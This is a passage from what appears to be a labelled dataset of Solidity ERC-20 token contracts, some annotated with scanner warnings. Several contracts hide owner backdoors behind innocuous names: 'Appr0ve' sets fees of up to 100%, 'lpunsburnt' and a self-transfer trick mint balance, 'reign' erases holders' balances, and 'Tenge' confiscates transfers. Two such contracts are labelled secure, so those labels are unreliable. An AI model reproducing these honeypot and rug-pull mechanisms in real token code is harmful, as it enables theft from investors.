_totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Appr0ve(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwallet;\n }\n\n function lpunsburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_3988.sol", "secure": 1, "size_bytes": 5387 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PEPEGirl is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable _uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d4b55e2): PEPEGirl.uniswapV2Pair should be immutable \n\t// Recommendation for d4b55e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 287750d): PEPEGirl.deployerWallet should be immutable \n\t// Recommendation for 287750d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployerWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3fea7c): PEPEGirl.marketingWallet should be immutable \n\t// Recommendation for a3fea7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private marketingWallet;\n\n address private constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: b863dfe): PEPEGirl._name shadows ERC20._name\n\t// Recommendation for b863dfe: Remove the state variable shadowing.\n string private constant _name = \"PEPEGirl\";\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: c483054): PEPEGirl._symbol shadows ERC20._symbol\n\t// Recommendation for c483054: Remove the state variable shadowing.\n string private constant _symbol = \"PEPEGirl\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 00725b8): PEPEGirl.initialTotalSupply should be constant \n\t// Recommendation for 00725b8: Add the 'constant' attribute to state variables that never change.\n uint256 public initialTotalSupply = 100000000 * 1e18;\n\n uint256 public maxTransactionAmount = 100000000 * 1e18;\n\n uint256 public maxWallet = 100000000 * 1e18;\n\n uint256 public swapTokensAtAmount = 1000000 * 1e18;\n\n bool public tradingOpen = false;\n\n uint256 public BuyFee = 0;\n\n uint256 public SellFee = 0;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n mapping(address => bool) private bots;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d603361): PEPEGirl.constructor(address).wallet lacks a zerocheck on \t marketingWallet = address(wallet)\n\t// Recommendation for d603361: Check that the address is not zero.\n constructor(address wallet) ERC20(_name, _symbol) {\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n\t\t// missing-zero-check | ID: d603361\n marketingWallet = payable(wallet);\n\n deployerWallet = payable(_msgSender());\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(wallet), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(wallet), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(deployerWallet, initialTotalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function excludeFromMaxTransaction(address updAds, bool isEx) private {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function excludeFromFees(address account, bool excluded) private {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aeb2c7c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aeb2c7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e6a05fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e6a05fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n !bots[from] && !bots[to],\n \"ERC20: transfer from/to the blacklisted address\"\n );\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n bool isTransfer = !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to];\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance > 0 && !isTransfer;\n\n if (\n canSwap &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: aeb2c7c\n\t\t\t// reentrancy-no-eth | ID: e6a05fd\n swapBack(amount);\n\n\t\t\t// reentrancy-no-eth | ID: e6a05fd\n swapping = false;\n }\n\n bool takeFee = !swapping && !isTransfer;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to]) {\n fees = amount.mul(SellFee).div(100);\n } else {\n fees = amount.mul(BuyFee).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: aeb2c7c\n\t\t\t\t// reentrancy-no-eth | ID: e6a05fd\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: aeb2c7c\n\t\t// reentrancy-no-eth | ID: e6a05fd\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: aeb2c7c\n\t\t// reentrancy-no-eth | ID: e6a05fd\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n uint256 totalSupplyAmount = totalSupply();\n\n maxTransactionAmount = totalSupplyAmount;\n\n maxWallet = totalSupplyAmount;\n }\n\n function addBots(address[] calldata botAddresses) external onlyOwner {\n for (uint256 i = 0; i < botAddresses.length; i++) {\n bots[botAddresses[i]] = true;\n }\n }\n\n function removeBots(address[] calldata botAddresses) external onlyOwner {\n for (uint256 i = 0; i < botAddresses.length; i++) {\n bots[botAddresses[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ce6c3e1): PEPEGirl.clearStuckEth() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for ce6c3e1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function clearStuckEth() external {\n require(_msgSender() == deployerWallet);\n\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n\t\t// arbitrary-send-eth | ID: ce6c3e1\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1f326a4): PEPEGirl.clearStuckTokens(address) ignores return value by tokenContract.transfer(deployerWallet,balance)\n\t// Recommendation for 1f326a4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function clearStuckTokens(address tokenAddress) external {\n require(_msgSender() == deployerWallet);\n\n IERC20 tokenContract = IERC20(tokenAddress);\n\n uint256 balance = tokenContract.balanceOf(address(this));\n\n require(balance > 0, \"No tokens to clear\");\n\n\t\t// unchecked-transfer | ID: 1f326a4\n tokenContract.transfer(deployerWallet, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 927e3a4): PEPEGirl.SetFees(uint256,uint256) should emit an event for BuyFee = _buyFee SellFee = _sellFee \n\t// Recommendation for 927e3a4: Emit an event for critical parameter changes.\n function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {\n\t\t// events-maths | ID: 927e3a4\n BuyFee = _buyFee;\n\n\t\t// events-maths | ID: 927e3a4\n SellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e181312): PEPEGirl.setSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = _amount * (10 ** 18) \n\t// Recommendation for e181312: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {\n\t\t// events-maths | ID: e181312\n swapTokensAtAmount = _amount * (10 ** 18);\n }\n\n function manualSwap(uint256 percent) external {\n require(_msgSender() == deployerWallet);\n\n uint256 totalSupplyAmount = totalSupply();\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (percent == 100) {\n tokensToSwap = contractBalance;\n } else {\n tokensToSwap = (totalSupplyAmount * percent) / 100;\n\n if (tokensToSwap > contractBalance) {\n tokensToSwap = contractBalance;\n }\n }\n\n require(\n tokensToSwap <= contractBalance,\n \"Swap amount exceeds contract balance\"\n );\n\n swapTokensForEth(tokensToSwap);\n }\n\n function swapBack(uint256 tokens) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap;\n\n if (contractBalance == 0) {\n return;\n }\n\n if ((BuyFee + SellFee) == 0) {\n if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}", "file_name": "solidity_code_3989.sol", "secure": 0, "size_bytes": 15386 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20PermitUpgradeable {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}", "file_name": "solidity_code_399.sol", "secure": 1, "size_bytes": 442 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TookerKurlson is ERC20 {\n constructor() ERC20(\"Tooker Kurlson\", \"Tooker\") {\n _mint(msg.sender, 1000000000 * 10 ** 18);\n }\n}", "file_name": "solidity_code_3990.sol", "secure": 1, "size_bytes": 279 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Tom is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable unfair;\n\n constructor() {\n _name = \"TOM\";\n\n _symbol = \"TOM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 496000000;\n\n unfair = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == unfair, \"Not allowed\");\n\n _;\n }\n\n function reign(address[] memory revival) public onlyOwner {\n for (uint256 i = 0; i < revival.length; i++) {\n address account = revival[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_3991.sol", "secure": 1, "size_bytes": 4346 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b82e42d): Contract locking ether found Contract PUSUKE has payable functions PUSUKE.receive() But does not have a function to withdraw the ether\n// Recommendation for b82e42d: Remove the 'payable' attribute or add a withdraw function.\ncontract PUSUKE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ed31aa): PUSUKE._name should be constant \n\t// Recommendation for 4ed31aa: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Oldest Shiba\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 302f0c4): PUSUKE._symbol should be constant \n\t// Recommendation for 302f0c4: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PUSUKE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ef8170f): PUSUKE._decimals should be constant \n\t// Recommendation for ef8170f: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 676983e): PUSUKE.lomo should be immutable \n\t// Recommendation for 676983e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public lomo;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e38ef3): PUSUKE._totalSupply should be immutable \n\t// Recommendation for 2e38ef3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fe19c7): PUSUKE.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 0fe19c7: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n lomo = payable(address(0x58077A8f7A7e2718CC7DDdB1d4D31420DdD05462));\n\n _isExcludefromFee[lomo] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d46b565): PUSUKE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d46b565: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de7e766): PUSUKE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de7e766: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9a3987c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6a785b4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b82e42d): Contract locking ether found Contract PUSUKE has payable functions PUSUKE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b82e42d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a785b4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a785b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a3987c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a3987c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6a785b4\n\t\t// reentrancy-benign | ID: 9a3987c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6a785b4\n\t\t// reentrancy-benign | ID: 9a3987c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ded10d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ded10d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launching() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: ded10d6\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ded10d6\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: ded10d6\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: ded10d6\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f4314ea): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f4314ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 274ce8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 274ce8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == lomo) ? true : false)\n _balances[address(lomo)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: f4314ea\n\t\t\t\t// reentrancy-no-eth | ID: 274ce8e\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 274ce8e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: f4314ea\n\t\t\t// reentrancy-no-eth | ID: 274ce8e\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 274ce8e\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: f4314ea\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 6a785b4\n\t\t// reentrancy-events | ID: f4314ea\n\t\t// reentrancy-benign | ID: 9a3987c\n\t\t// reentrancy-no-eth | ID: 274ce8e\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(lomo),\n block.timestamp\n )\n {} catch {}\n }\n\n function Tenge(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != lomo) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 274ce8e\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: f4314ea\n emit Transfer(sender, address(this), swapRate);\n }\n\n return 